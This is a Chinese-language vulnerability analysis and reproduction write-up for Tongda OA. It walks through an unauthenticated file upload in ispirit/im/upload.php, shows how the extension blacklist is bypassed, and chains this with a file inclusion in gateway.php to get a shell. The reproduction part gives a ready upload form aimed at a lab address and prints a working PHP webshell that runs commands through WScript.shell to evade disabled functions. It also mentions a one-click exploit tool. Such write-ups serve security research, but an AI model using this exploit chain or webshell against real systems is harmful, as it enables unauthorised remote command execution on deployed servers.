影响范围

  • V11.3版
  • 2017版
  • 2016版
  • 2015版
  • 2013版
  • 2013增强版

漏洞简介

通过未授权访问进入上传点上传图片马,使用任意文件包含getshell

漏洞分析

未授权访问文件上传

漏洞点位于/ispirit/im/upload.php,首先看到如下代码

1
2
3
4
5
6
7
8
9
10
11
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}

auth.php是进行身份认证相关的,如果我们POST传入了一个P那么就会实现绕过,但是由于还有后续验证所以并没有完全绕过

1

接着我们继续看代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}

if (strpos($DEST_UID, ",") !== false) {
}
else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}

这里还有如下代码

1
2
3
4
5
6
7
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}

如果传入DEST_UID为0,那么UPLOAD_MODE就必须为2(这样也是可以的)

我们这里传入DEST_UID不为空也不为0,走到了如下代码

1
2
3
4
5
6
7
8
9
10
$MODULE = "im";

if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == "1") {
if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
}
}

$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

可以看到上传的参数名为ATTACHMENT,将文件名进行了一次URL解码,使用upload()函数上传,跟进inc/utility_file.php:upload,直接看到关键代码部分

1
2
3
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
}

跟进is_uploadable()函数,也直接贴关键代码部分

1
2
3
4
5
6
7
8
9
10
11
function is_uploadable($FILE_NAME)
{
$POS = strrpos($FILE_NAME, ".");

if ($POS === false) {
$EXT_NAME = $FILE_NAME;
}
else {
if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {
return false;
}

这里黑名单限制了后缀不能为php,可以使用.phtml、.cpt等,windows下可以上传.php.绕过,也不影响我们上传图片马,为后面任意文件包含做铺垫

漏洞复现

没有上传点我们就构造一个上传点

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form action="http://192.168.117.128:8888/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</form>
</html>

成功上传图片马

2

既然知道了可以上传,那么上传路径也要知道,其实不用继续代码审计也能轻易得到,比如搜索后缀,文件监控等

上传路径位于attach/im/2010

3

任意文件包含

漏洞触发点位于ispirit/interface/gateway.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);

foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;

foreach ($val as $keys => $value ) {
$keys = $value;
}
}

if ($key == "url") {
$url = $val;
}
}

if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}

if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}

exit();
}

这里好奇为什么可以直接传入json的值,$json是凭空出现的,可能是注册了全局变量吧

这里很简单,传入json让键为url,值里面包含general、ispirit、module三者之一就行,然后通过目录跳转就实现了任意文件包含,包含我们之前上传的图片马

4

但是发现无法执行命令,因为通达OA有disable_function,于是找了一个能过disable_function的webshell

1
2
3
4
5
6
7
8
<?php
$command=$_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

重新上传,经过无数次测试,我发现我的图片马还是不能执行命令,可能是哪里解析出错了,为了干净一点我上传了phtml后缀的文件,内容就是上面的webshell,包含一下成功getshell

5

一键getshell

自己写了一个利用工具

6